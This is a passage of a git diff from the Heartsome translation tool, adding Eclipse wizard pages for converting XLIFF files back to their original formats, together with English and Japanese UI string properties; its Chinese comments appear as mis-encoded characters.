net.heartsome.cat.convert.ui.model.ConversionConfigBean; +import net.heartsome.cat.convert.ui.model.ConverterUtil; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.convert.ui.model.IConversionItem; +import net.heartsome.cat.convert.ui.utils.ConversionResource; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.ts.core.file.DocumentPropertiesKeys; +import net.heartsome.cat.ts.core.file.XLFHandler; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.core.databinding.beans.BeanProperties; +import org.eclipse.core.databinding.beans.BeansObservables; +import org.eclipse.core.databinding.observable.list.WritableList; +import org.eclipse.core.databinding.property.value.IValueProperty; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.databinding.swt.SWTObservables; +import org.eclipse.jface.databinding.viewers.ViewerSupport; +import org.eclipse.jface.databinding.wizard.WizardPageSupport; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.layout.LayoutConstants; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.PaintEvent; +import org.eclipse.swt.events.PaintListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; + +/** + * 项目逆å‘转æ¢é€‰é¡¹é…置页 + * @author weachy + * @since JDK1.5 + */ +public class ReverseConversionWizardPage extends WizardPage { + + private List converterViewModels; + + /** æºæ–‡ä»¶ç¼–ç åˆ—表 */ + private Combo tgtEncCombo; + + /** 如果已ç»å­˜åœ¨ï¼Œæ˜¯å¦è¦æ›¿æ¢ */ + private Button btnReplaceTarget; + + /** 文件列表 */ + private Table filesTable; + + /** xliff 文件列 */ + private TableColumn xliffColumn; + + /** 目标编ç åˆ— */ + private TableColumn tgtEncColumn; + + /** 目标文件列 */ + private TableColumn targetColumn; + + private ArrayList conversionConfigBeans; + + private TableViewer tableViewer; + + /** + * æ­£å‘项目转æ¢é…置信æ¯é¡µçš„构造函数 + * @param pageName + */ + protected ReverseConversionWizardPage(String pageName) { + super(pageName); + setTitle("è½¬æ¢ Xliff 到原格å¼"); + } + + /** + * åˆå§‹åŒ–本页é¢éœ€è¦çš„æ•°æ® ; + */ + private void initData() { + ReverseConversionWizard wizard = (ReverseConversionWizard) getWizard(); + + converterViewModels = wizard.getConverterViewModels(); + conversionConfigBeans = new ArrayList(); + for (ConverterViewModel converterViewModel : converterViewModels) { + IConversionItem conversionItem = converterViewModel.getConversionItem(); + String xliff = ResourceUtils.toWorkspacePath(conversionItem.getLocation()); + + ConversionConfigBean bean = converterViewModel.getConfigBean(); + bean.setSource(xliff); + conversionConfigBeans.add(bean); + } + } + + public void createControl(Composite parent) { + initData(); // å…ˆåˆå§‹åŒ–本页é¢éœ€è¦çš„æ•°æ® + + Composite contents = new Composite(parent, SWT.NONE); + GridLayout layout = new GridLayout(); + contents.setLayout(layout); + GridData gridData = new GridData(); + gridData.horizontalAlignment = SWT.FILL; + gridData.grabExcessHorizontalSpace = true; + contents.setLayoutData(gridData); + + createFilesGroup(contents); // 文件列表区域 + createPropertiesGroup(contents); // æºæ–‡ä»¶å±žæ€§åŒºåŸŸç»„ + createConversionOptionsGroup(contents); // 转æ¢é€‰é¡¹ç»„ + + bindValue(); // æ•°æ®ç»‘定 + + try { + loadFiles(); // 加载文件列表 + } catch (Exception e) { + e.printStackTrace(); + } + + filesTable.select(0); // é»˜è®¤é€‰ä¸­ç¬¬ä¸€è¡Œæ•°æ® + filesTable.notifyListeners(SWT.Selection, null); + + Dialog.applyDialogFont(parent); + + Point defaultMargins = LayoutConstants.getMargins(); + GridLayoutFactory.fillDefaults().numColumns(1).margins(defaultMargins.x, defaultMargins.y) + .generateLayout(contents); + + setControl(contents); + + validate(); + } + + private void createPropertiesGroup(Composite contents) { + Group langComposite = new Group(contents, SWT.NONE); + langComposite.setText("默认属性"); //$NON-NLS-1$ + langComposite.setLayout(new GridLayout(2, false)); + langComposite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + Label tgtEncLabel = new Label(langComposite, SWT.NONE); + tgtEncLabel.setText("目标编ç "); //$NON-NLS-1$ + tgtEncCombo = new Combo(langComposite, SWT.DROP_DOWN | SWT.READ_ONLY); + tgtEncCombo.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + tgtEncCombo.addSelectionListener(new SelectionAdapter() { + @SuppressWarnings("unchecked") + public void widgetSelected(SelectionEvent arg0) { + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Iterator iter = structuredSelection.iterator(); + while (iter.hasNext()) { + ConversionConfigBean bean = iter.next(); + bean.setTargetEncoding(tgtEncCombo.getText()); + } + + validate(); + } + } + }); + } + + /** + * 转æ¢é€‰é¡¹ç»„ + * @param contents + * ; + */ + private void createConversionOptionsGroup(Composite contents) { + Group options = new Group(contents, SWT.NONE); + options.setText("转æ¢é€‰é¡¹"); + options.setLayout(new GridLayout()); + options.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + btnReplaceTarget = new Button(options, SWT.CHECK); + btnReplaceTarget.setText("若目标文件已存在则直接覆盖"); + btnReplaceTarget.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnReplaceTarget.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + for (ConversionConfigBean conversionConfigBean : conversionConfigBeans) { + conversionConfigBean.setReplaceTarget(btnReplaceTarget.getSelection()); + } + + validate(); + } + }); + } + + /** XLFHandler 对象 */ + XLFHandler xlfHandler = new XLFHandler(); + + /** å®Œæˆ */ + private boolean complete = false; + + /** é”™è¯¯ä¿¡æ¯ */ + private String errorMessage = null; + + /** + * 验è¯æ–¹æ³• ; + */ + private void validate() { + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + monitor.setTaskName("逆转æ¢éªŒè¯"); + monitor.beginTask("正在进行转æ¢éªŒè¯...", converterViewModels.size()); + IStatus result = Status.OK_STATUS; + int line = 1; + for (ConverterViewModel converterViewModel : converterViewModels) { + String xliff = converterViewModel.getConversionItem().getLocation().toOSString(); + IProgressMonitor subMonitor = Progress.getSubMonitor(monitor, 1); + result = converterViewModel.validateXliffFile(xliff, xlfHandler, subMonitor); + if (!result.isOK()) { + break; + } + result = converterViewModel.validate(); + if (!result.isOK()) { + break; + } + line++; + } + monitor.done(); + final IStatus validateResult = result; + final int i = line; + if (validateResult.isOK()) { + complete = true; + errorMessage = null; + } else { + complete = false; + errorMessage = "第 " + i + " è¡Œ: " + validateResult.getMessage(); + } + } + }; + try { + // éªŒè¯ xliff 文件比较耗时,需把他放到åŽå°çº¿ç¨‹è¿›è¡Œå¤„ç†ã€‚ + // new ProgressMonitorDialog(shell).run(true, true, runnable); + getContainer().run(true, true, runnable); + + setErrorMessage(errorMessage); + setPageComplete(complete); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + + /** + * 创建文件列表区域 + * @param contents + * ; + */ + private Composite createFilesGroup(Composite contents) { + Composite filesComposite = new Composite(contents, SWT.NONE); + filesComposite.setLayout(new GridLayout(1, false)); + filesComposite.setLayoutData(new GridData(GridData.FILL_BOTH)); + + filesTable = new Table(filesComposite, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.MULTI + | SWT.FULL_SELECTION); + + GridData tableData = new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH); + tableData.heightHint = 100; + filesTable.setLayoutData(tableData); + filesTable.setLinesVisible(true); + filesTable.setHeaderVisible(true); + + filesTable.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + TableItem[] selected = filesTable.getSelection(); + if (selected.length == 0) { + return; + } + + String strTgtEnc = ""; //$NON-NLS-1$ + + for (int i = 0; i < selected.length; i++) { + String curTgtEnc = selected[i].getText(1); + if (i == 0) { + strTgtEnc = curTgtEnc; + } else { + if (!strTgtEnc.equals(curTgtEnc)) { + strTgtEnc = ""; //$NON-NLS-1$ + break; + } + } + } + + if (!"".equals(strTgtEnc)) { //$NON-NLS-1$ + tgtEncCombo.setText(strTgtEnc); + } else { + tgtEncCombo.deselectAll(); + } + } + }); + tableViewer = new TableViewer(filesTable); + + xliffColumn = new TableViewerColumn(tableViewer, SWT.NONE).getColumn(); + xliffColumn.setText("XLIFF 文件"); //$NON-NLS-1$ + + tgtEncColumn = new TableViewerColumn(tableViewer, SWT.NONE).getColumn(); + tgtEncColumn.setText("目标编ç "); //$NON-NLS-1$ + + targetColumn = new TableViewerColumn(tableViewer, SWT.NONE).getColumn(); + targetColumn.setText("目标文件"); //$NON-NLS-1$ + + IValueProperty[] valueProperties = BeanProperties.values(ConversionConfigBean.class, new String[] { + "source", "targetEncoding", "target" }); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + ViewerSupport.bind(tableViewer, new WritableList(conversionConfigBeans, ConversionConfigBean.class), + valueProperties); + + filesComposite.addPaintListener(new PaintListener() { + public void paintControl(PaintEvent arg0) { + int width = filesTable.getClientArea().width; + targetColumn.setWidth(width * 4 / 10); + tgtEncColumn.setWidth(width * 2 / 10); + xliffColumn.setWidth(width * 4 / 10); + } + }); + return filesComposite; + } + + /** + * 对 UI å’Œ View Model 进行绑定 ; + */ + private void bindValue() { + DataBindingContext dbc = new DataBindingContext(); + WizardPageSupport.create(this, dbc); + ConversionConfigBean configBean = conversionConfigBeans.get(0); + + // bind the target encoding + dbc.bindList(SWTObservables.observeItems(tgtEncCombo), BeansObservables.observeList(configBean, "pageEncoding")); //$NON-NLS-1$ + } + + /** + * 加载文件数æ®ã€‚ + */ + private void loadFiles() { + ArrayList xliffs = new ArrayList(conversionConfigBeans.size()); + for (int i = 0; i < conversionConfigBeans.size(); i++) { + String xliff = conversionConfigBeans.get(i).getSource(); + xliffs.add(ResourceUtils.toWorkspacePath(xliff)); + } + for (int i = 0; i < conversionConfigBeans.size(); i++) { + ConversionConfigBean bean = conversionConfigBeans.get(i); + // 逆转æ¢æ—¶ï¼Œsource 其实是 XLIFF 文件。 + String xliff = bean.getSource(); + + String local = ConverterUtil.toLocalPath(xliff); + + // 目标文件 + String target; + try { + ConversionResource resource = new ConversionResource(Converter.DIRECTION_REVERSE, local); + target = resource.getTargetPath(); + } catch (CoreException e) { + e.printStackTrace(); + target = ""; //$NON-NLS-1$ + } + + bean.getFileType(); + // ç›®æ ‡ç¼–ç  + String tgtEncValue = getTgtEncoding(local); + if (tgtEncValue == null) { + tgtEncValue = ""; //$NON-NLS-1$ + } + + bean.setSource(xliff); + bean.setTargetEncoding(tgtEncValue); + bean.setTarget(target); + } + } + + /** + * å–å¾—ç›®æ ‡æ–‡ä»¶çš„ç¼–ç  + * @param xliffPath + * @return ; + */ + private String getTgtEncoding(String xliffPath) { + XLFHandler handler = new XLFHandler(); + + Map resultMap = handler.openFile(xliffPath); + if (resultMap == null + || Constant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) resultMap.get(Constant.RETURNVALUE_RESULT)) { + // 打开文件失败。 + return ""; //$NON-NLS-1$ + } + List> documentInfo = handler.getDocumentInfo(xliffPath); + if (documentInfo.size() > 0) { + return documentInfo.get(0).get(DocumentPropertiesKeys.ENCODING); + } + return ""; + } + + @Override + public void dispose() { + super.dispose(); + if (filesTable != null) { + filesTable.dispose(); + } + if (conversionConfigBeans != null) { + conversionConfigBeans.clear(); + conversionConfigBeans = null; + } + System.gc(); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/TranslationWizardPage.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/TranslationWizardPage.java new file mode 100644 index 0000000..8754da1 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/TranslationWizardPage.java @@ -0,0 +1,36 @@ +package net.heartsome.cat.convert.ui.wizard; + +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Text; + +/** + * æ­£å‘转æ¢çš„预翻译é…置页 + * @author cheney + * @since JDK1.6 + */ +public class TranslationWizardPage extends WizardPage { + + /** + * 预翻译é…置页构建函数 + * @param pageName + */ + protected TranslationWizardPage(String pageName) { + super(pageName); + setTitle("翻译相关的设置"); + setMessage("翻译相关的设置,待实现。"); + } + + public void createControl(Composite parent) { + Composite composite = new Composite(parent, SWT.NONE); + Label label = new Label(composite, SWT.NONE); + label.setText("Test:"); + new Text(composite, SWT.BORDER); + GridLayoutFactory.swtDefaults().numColumns(2).generateLayout(composite); + setControl(composite); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/conversion.properties b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/conversion.properties new file mode 100644 index 0000000..fcc68c2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/conversion.properties @@ -0,0 +1,306 @@ +#Created by JInto - www.guh-software.de +#Tue Jan 05 15:53:38 GMT+08:00 2010 +Convert2xliff.0=XLIFF Files [*.xlf] +Convert2xliff.1=All Files [*.*] +Convert2xliff.118=Converting to XLIFF +Convert2xliff.120=Error translating document\: {0} +Convert2xliff.122=TM Translation +Convert2xliff.124=Error translating document\: {0} +Convert2xliff.128=Quick Translation +Convert2xliff.130=Error translating document\: {0} +Convert2xliff.132=Embedding Skeleton +Convert2xliff.133=Error embedding skeleton\: {0} +Convert2xliff.135=Conversion completed. +Convert2xliff.138=Segmentation Options +Convert2xliff.139=SRX Rules +Convert2xliff.140=Browse... +Convert2xliff.145=SRX Files [*.srx] +Convert2xliff.146=XML Files [*.xml] +Convert2xliff.147=All Files [*.*] +Convert2xliff.149=Select an SRX file. +Convert2xliff.151=Reference TM Databases +Convert2xliff.153=Set Project Details +Convert2xliff.156=Translating... +Convert2xliff.157=Unknown error translating file. +Convert2xliff.158=File Location +Convert2xliff.17=File Conversion / Add Translation +Convert2xliff.171=Mark As Untranslatable +Convert2xliff.175={0} already exists, overwrite it? +Convert2xliff.18=Source File +Convert2xliff.180=The path specified for OpenOffice in "OpenOffice Configuration" dialog is not correct. +Convert2xliff.181=You need to correct this for the automatic conversion feature to work properly. +Convert2xliff.182=The path specified for OpenOffice in "OpenOffice Configuration" dialog is not correct. +Convert2xliff.183=You need to correct this for the automatic conversion feature to work properly or skip automatic OpenOffice conversion and continue to convert the file into XLF format? +Convert2xliff.189=Error converting files automatically with OpenOffice. +Convert2xliff.195=Error converting files automatically with OpenOffice. +Convert2xliff.20=Browse... +Convert2xliff.207=100% Matches +Convert2xliff.208=Repeated Segments +Convert2xliff.209=In-Context Matches +Convert2xliff.210=Trados Xtranslated Segments +Convert2xliff.211=Trados Xtranslated Segments +Convert2xliff.212=Trados Xtranslated Segments +Convert2xliff.220=Overwrite existing 100% Match +Convert2xliff.222=Adding translation to XLIFF files... +Convert2xliff.225=Add translation completed. +Convert2xliff.229=Get database list failed. +Convert2xliff.26=XLIFF File +Convert2xliff.27=Browse... +Convert2xliff.32=Source File Properties +Convert2xliff.33=File Type +Convert2xliff.34=Language +Convert2xliff.35=Encoding +Convert2xliff.36=Conversion Options +Convert2xliff.37=Paragraph Segmentation +Convert2xliff.38=Break Segment on Every CR/LF (Plain Text) +Convert2xliff.39=Embed Skeleton in XLIFF file +Convert2xliff.40=Translation Options +Convert2xliff.41=Add Translation +Convert2xliff.42=Case Sensitive Translation +Convert2xliff.43=Use Quick Translation +Convert2xliff.45=Target Language +Convert2xliff.46=TM Database +Convert2xliff.47=Quick TM Database +Convert2xliff.48=Minimum Match Percentage +Convert2xliff.65=Maximum Match Count +Convert2xliff.77=Open XLIFF File After Conversion +Convert2xliff.78=Start +Convert2xliff.80=Select a file for conversion. +Convert2xliff.82=Select a name for converted file. +Convert2xliff.83=Select a different name for converted file. +Convert2xliff.85=Select document language. +Convert2xliff.87=Select encoding. +Convert2xliff.89=Select target language. +Convert2xliff.91=Select TM database. +Convert2xliff.93=Select target language. +Convert2xliff.95=Select Quick TM database. +Convert2xliff.96=Close +ConvertProjects.0=Convert Files / Add Translation to XLIFF Format +ConvertProjects.1=Project File +ConvertProjects.10=Case Sensitive Translation +ConvertProjects.103=Conversion completed. +ConvertProjects.104=SRX Rules +ConvertProjects.105=Browse... +ConvertProjects.11=Add Translation +ConvertProjects.110=SRX Files [*.srx] +ConvertProjects.112=All Files [*.*] +ConvertProjects.116=Project is incomplete. Source file name is missing in an entry. +ConvertProjects.12=Use Quick Translation +ConvertProjects.120=Project is incomplete. File format is missing in an entry. +ConvertProjects.124=Project is incomplete. Source encoding is missing in an entry. +ConvertProjects.128=Project is incomplete. Source language is missing in an entry. +ConvertProjects.13=Translation Options +ConvertProjects.132=Project is incomplete. Target encoding is missing in an entry. +ConvertProjects.136=Project is incomplete. Target language is missing in an entry. +ConvertProjects.14=TM Database +ConvertProjects.140=Project is incomplete. Target file name is missing in an entry. +ConvertProjects.144=Project is incomplete. XLIFF file is missing in an entry. +ConvertProjects.147=Merge Project Files +ConvertProjects.148=XLIFF File +ConvertProjects.149=Browse... +ConvertProjects.15=Minimum Match Percentage +ConvertProjects.155=XLIFF Files [*.xlf] +ConvertProjects.156=All Files [*.*] +ConvertProjects.158=Select an XLIFF file. +ConvertProjects.161=Mark As Untranslatable +ConvertProjects.170=Segmentation options +ConvertProjects.182=Conversion options +ConvertProjects.185={0} already exists, overwrite it? +ConvertProjects.187=100% Matches +ConvertProjects.188=Repeated Segments +ConvertProjects.189=In-Context Matches +ConvertProjects.190=Trados Xtranslated Segments +ConvertProjects.198=Overwrite existing 100% Match +ConvertProjects.2=Browse... +ConvertProjects.225=Adding translation to XLIFF files... +ConvertProjects.235=Add translation completed. +ConvertProjects.241=Add translation completed. +ConvertProjects.3=Project Files [*.xlp] +ConvertProjects.32=Maximum Match Count +ConvertProjects.4=Select a TM database. +ConvertProjects.44=Quick TM Database +ConvertProjects.45=Start +ConvertProjects.47=Select a project file. +ConvertProjects.5=All Files [*.*] +ConvertProjects.50=Close +ConvertProjects.52=Wrong file type. +ConvertProjects.53=Error opening database\: {0} +ConvertProjects.57=Convert Project Files to XLIFF Format +ConvertProjects.58=Converting... +ConvertProjects.6=Select Quick TM database. +ConvertProjects.8=Paragraph Segmentation +ConvertProjects.83=TM +ConvertProjects.89=Error translating document\: {0} +ConvertProjects.9=Break Segment on Every CR/LF (Plain Text) +ConvertProjects.91=QT +ConvertProjects.99=Error closing database\: {0} +FileFormats.0=HTML Files [*.htm, *.html] +FileFormats.1=JavaScript Files [*.js] +FileFormats.10=Abiword Files [*.abw] +FileFormats.11=SVG (Scalable Vector Graphics) Files [*.svg] +FileFormats.12=OpenOffice 2.0 Files [*.odt,*.ods,*.odp,*.odg] +FileFormats.15=TTX Files [*.ttx] +FileFormats.17=Adobe InDesign Interchange Files [*.inx] +FileFormats.18=ResX (Windows .NET Resources) Files [*.resx] +FileFormats.19=RC (Windows C/C++ Resources) Files [*.rc] +FileFormats.2=Java Properties Files [*.properties] +FileFormats.20=RC (Windows C/C++ Resources) Files [*.rc] +FileFormats.21=MS Office 2007 Files [*.docx,*.xlsx,*.pptx,*.ppsx] +FileFormats.22=Adobe InDesign Interchange +FileFormats.23=HTML Page +FileFormats.24=JavaScript +FileFormats.25=Java Properties +FileFormats.26=MIF (Maker Interchange Format) +FileFormats.27=Microsoft Office 2007 Document +FileFormats.28=OpenOffice Document +FileFormats.29=Plain Text +FileFormats.3=MIF (Maker Interchange Format) Files [*.mif] +FileFormats.30=RC (Windows C/C++ Resources) +FileFormats.31=ResX (Windows .NET Resources +FileFormats.32=RTF (Rich Text Format) +FileFormats.33=XML Document +FileFormats.34=XML (Generic) +FileFormats.4=OpenOffice 1.x Files [*.sxw,*.sxc,*.sxi,*.sxd] +FileFormats.5=Plain Text Files [*.txt] +FileFormats.6=PO (Portable Objects) Files [*.pot,*.po] +FileFormats.7=RTF (Rich Text Format) Files [*.rtf] +FileFormats.8=XML Files [*.xml] +FileFormats.9=All Files [*.*] +FileFormatsSupportMsOffice.26=MS Office Files [*.doc,*.xls,*.ppt] +FileFormatsSupportMsOffice.28=MS Office Files [*.doc,*.xls,*.ppt] +RepetitionAnalysis.0=Repetition Analysis +RepetitionAnalysis.1=Project Name +RepetitionAnalysis.106=SUM +RepetitionAnalysis.11=Words +RepetitionAnalysis.116=Words Based Analysis +RepetitionAnalysis.120=Document +RepetitionAnalysis.122=New +RepetitionAnalysis.124=100% +RepetitionAnalysis.126=Repeated +RepetitionAnalysis.128=95-99% +RepetitionAnalysis.130=85-94% +RepetitionAnalysis.132=75-84% +RepetitionAnalysis.132b=50-74% +RepetitionAnalysis.134=SUM +RepetitionAnalysis.163=SUM +RepetitionAnalysis.175=Translation Status Analysis +RepetitionAnalysis.179=Document +RepetitionAnalysis.181=Not Translated +RepetitionAnalysis.183=Translated +RepetitionAnalysis.185=Approved +RepetitionAnalysis.187=Not Approved +RepetitionAnalysis.189=SUM +RepetitionAnalysis.2=Browse... +RepetitionAnalysis.203=SUM +RepetitionAnalysis.21=Cancel +RepetitionAnalysis.213=Comments\: +RepetitionAnalysis.216=Int.Rep. +RepetitionAnalysis.218=Internal Repetition \= Segment repetitions within one document +RepetitionAnalysis.221=Ext.Rep. +RepetitionAnalysis.223=External Repetition \= Segment repetitions between all documents +RepetitionAnalysis.232=Checking Segments... +RepetitionAnalysis.233=File\: {0} +RepetitionAnalysis.234=Checking Repeated Segments... +RepetitionAnalysis.236=Segments Based Analysis... +RepetitionAnalysis.238=Words Based Analysis... +RepetitionAnalysis.240=Segment Translation Status... +RepetitionAnalysis.242=Word Translation Status... +RepetitionAnalysis.243=Date +RepetitionAnalysis.244=Description +RepetitionAnalysis.245=Default Viewer not defined for HTML files. +RepetitionAnalysis.26=TM Analysis for File {0} +RepetitionAnalysis.29=TM Analysis for Project {0} +RepetitionAnalysis.3=Project Files [*.xlp] +RepetitionAnalysis.4=All Files [*.*] +RepetitionAnalysis.6=Segments +RepetitionAnalysis.62=Repetition Analysis +RepetitionAnalysis.70=Segments Based Analysis +RepetitionAnalysis.74=Document +RepetitionAnalysis.76=New +RepetitionAnalysis.78=Matches +RepetitionAnalysis.8=View Report +RepetitionAnalysis.80=Int.Rep. +RepetitionAnalysis.82=Ext.Rep. +RepetitionAnalysis.84=SUM +RepetitionAnalysis.9=Select a project file. +ReverseConversion.0=There are wrong or missing tags. Continue anyway? +ReverseConversion.1=XLIFF Files [*.xlf] +ReverseConversion.10=Unsupported XLIFF file. +ReverseConversion.12=Converted File +ReverseConversion.13=Browse... +ReverseConversion.133=Storing Translations +ReverseConversion.136=XLIFF File Properties +ReverseConversion.137=Original Format\: {0} +ReverseConversion.138=Source Language\: {0} +ReverseConversion.139=Target Language\: {0} +ReverseConversion.140=Original Encoding\: {0} +ReverseConversion.141=Skeleton Type\: {0} +ReverseConversion.142=Analyse XLIFF File +ReverseConversion.144=Selected file is not a valid XLIFF document. +ReverseConversion.157=Split XLIFF file before attempting conversion to original format. +ReverseConversion.158=Unsupported file format. +ReverseConversion.159=Unsupported file format. +ReverseConversion.160=External +ReverseConversion.161=Internal - Embedded +ReverseConversion.162=Missing Skeleton Information +ReverseConversion.163=Missing Skeleton Information +ReverseConversion.171=Unknown +ReverseConversion.176=Unknown error. +ReverseConversion.177=Language not set. +ReverseConversion.178=Language not set. +ReverseConversion.179=Office Document +ReverseConversion.18=Store Translation in TM Database +ReverseConversion.185=Select TM Database +ReverseConversion.191=The path specified for OpenOffice in "OpenOffice Configuration" dialog is not correct. +ReverseConversion.192=You need to correct this for the automatic conversion feature to work properly. +ReverseConversion.193=The file was converted to XLIFF from OpenOffice format, but since OpenOffice was not installed on your machine and/or not configured yet, it's impossible to convert back to the original format automatically. +ReverseConversion.194=Convert to OpenOffice format instead? +ReverseConversion.195=The file was converted to XLIFF from OpenOffice format, but since OpenOffice was not installed on your machine and/or not configured yet, it's impossible to convert back to the original format automatically. +ReverseConversion.196=Convert to OpenOffice format instead? +ReverseConversion.2=All Files [*.*] +ReverseConversion.20=Convert File to Original Format +ReverseConversion.200=Can not support MS Office old version. +ReverseConversion.210=Can not find skeleton file. +ReverseConversion.214=Can not find skeleton file. +ReverseConversion.22=Select a file for conversion. +ReverseConversion.234=xml\:lang +ReverseConversion.24=Select a name for converted file. +ReverseConversion.25=Select a different name for converted file. +ReverseConversion.263=Error converting files automatically with OpenOffice. +ReverseConversion.264=Converting file to original format is failed. +ReverseConversion.27=Encoding not specified. +ReverseConversion.279=Overwrite +ReverseConversion.280=Always Add +ReverseConversion.281=Overwrite existing TUs, or always add as new TUs? +ReverseConversion.283=Overwrite +ReverseConversion.284=Merge +ReverseConversion.285=Overwrite existing properties and notes, or merge properties and notes? +ReverseConversion.286=Target Encoding +ReverseConversion.3=File Conversion +ReverseConversion.30=Close +ReverseConversion.35=File Conversion +ReverseConversion.36=Processing... +ReverseConversion.4=XLIFF File +ReverseConversion.46=Conversion completed. +ReverseConversion.47=Unknown error. +ReverseConversion.48=Open File After Conversion +ReverseConversion.5=Browse... +ReverseConversion.6=There are differences in initial/trailing spaces. Continue anyway? +ReverseConversion.87=There are unapproved segments. Continue anyway? +ReverseProjects.0=Convert Project Files to Original Format +ReverseProjects.1=Project File +ReverseProjects.11=Select a project file. +ReverseProjects.13=Select a TM database. +ReverseProjects.14=Close +ReverseProjects.15=No Database Available +ReverseProjects.17=Selected file is not a translation project. +ReverseProjects.18=Project Conversion +ReverseProjects.19=Processing... +ReverseProjects.2=Browse... +ReverseProjects.3=Project Files [*.xlp] +ReverseProjects.33=Conversion completed. +ReverseProjects.4=All Files [*.*] +ReverseProjects.8=Store Translations in TM Database +ReverseProjects.9=Convert Files to Original Format +UnexistentSegment.0=Requested segment does not exist in skeleton file. +WrongFileException.0=Wrong file type. diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/conversion_ja.properties b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/conversion_ja.properties new file mode 100644 index 0000000..e83d64c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/conversion_ja.properties @@ -0,0 +1,306 @@ +#Created by JInto - www.guh-software.de +#Tue Jan 05 15:52:39 GMT+08:00 2010 +Convert2xliff.0=XLIFF \u30D5\u30A1\u30A4\u30EB [*.xlf] +Convert2xliff.1=\u3059\u3079\u3066\u306E\u30D5\u30A1\u30A4\u30EB [*.*] +Convert2xliff.118=XLIFF \u306B\u5909\u63DB\u4E2D +Convert2xliff.120=\u30D5\u30A1\u30A4\u30EB\u7FFB\u8A33\u30A8\u30E9\u30FC\: {0} +Convert2xliff.122=TM \u7FFB\u8A33 +Convert2xliff.124=\u30D5\u30A1\u30A4\u30EB\u7FFB\u8A33\u30A8\u30E9\u30FC\: {0} +Convert2xliff.128=\u30AF\u30A4\u30C3\u30AF\u7FFB\u8A33 +Convert2xliff.130=\u30D5\u30A1\u30A4\u30EB\u7FFB\u8A33\u30A8\u30E9\u30FC\: {0} +Convert2xliff.132=\u30B9\u30B1\u30EB\u30C8\u30F3\u306E\u57CB\u3081\u8FBC\u307F +Convert2xliff.133=\u30B9\u30B1\u30EB\u30C8\u30F3\u306E\u57CB\u3081\u8FBC\u307F\u30A8\u30E9\u30FC\: {0} +Convert2xliff.135=\u5909\u63DB\u304C\u5B8C\u4E86\u3057\u307E\u3057\u305F\u3002 +Convert2xliff.138=\u5206\u7BC0\u30AA\u30D7\u30B7\u30E7\u30F3 +Convert2xliff.139=SRX \u30EB\u30FC\u30EB +Convert2xliff.140=\u53C2\u7167... +Convert2xliff.145=SRX \u30D5\u30A1\u30A4\u30EB [*.srx] +Convert2xliff.146=XML \u30D5\u30A1\u30A4\u30EB [*.xml] +Convert2xliff.147=\u3059\u3079\u3066\u306E\u30D5\u30A1\u30A4\u30EB [*.*] +Convert2xliff.149=SRX \u30D5\u30A1\u30A4\u30EB\u3092\u9078\u629E\u3057\u3066\u304F\u3060\u3055\u3044\u3002 +Convert2xliff.151= +Convert2xliff.153= +Convert2xliff.156= +Convert2xliff.157= +Convert2xliff.158= +Convert2xliff.17=\u30D5\u30A1\u30A4\u30EB\u5909\u63DB +Convert2xliff.171= +Convert2xliff.175= +Convert2xliff.18=\u30D5\u30A1\u30A4\u30EB\u9078\u629E +Convert2xliff.180= +Convert2xliff.181= 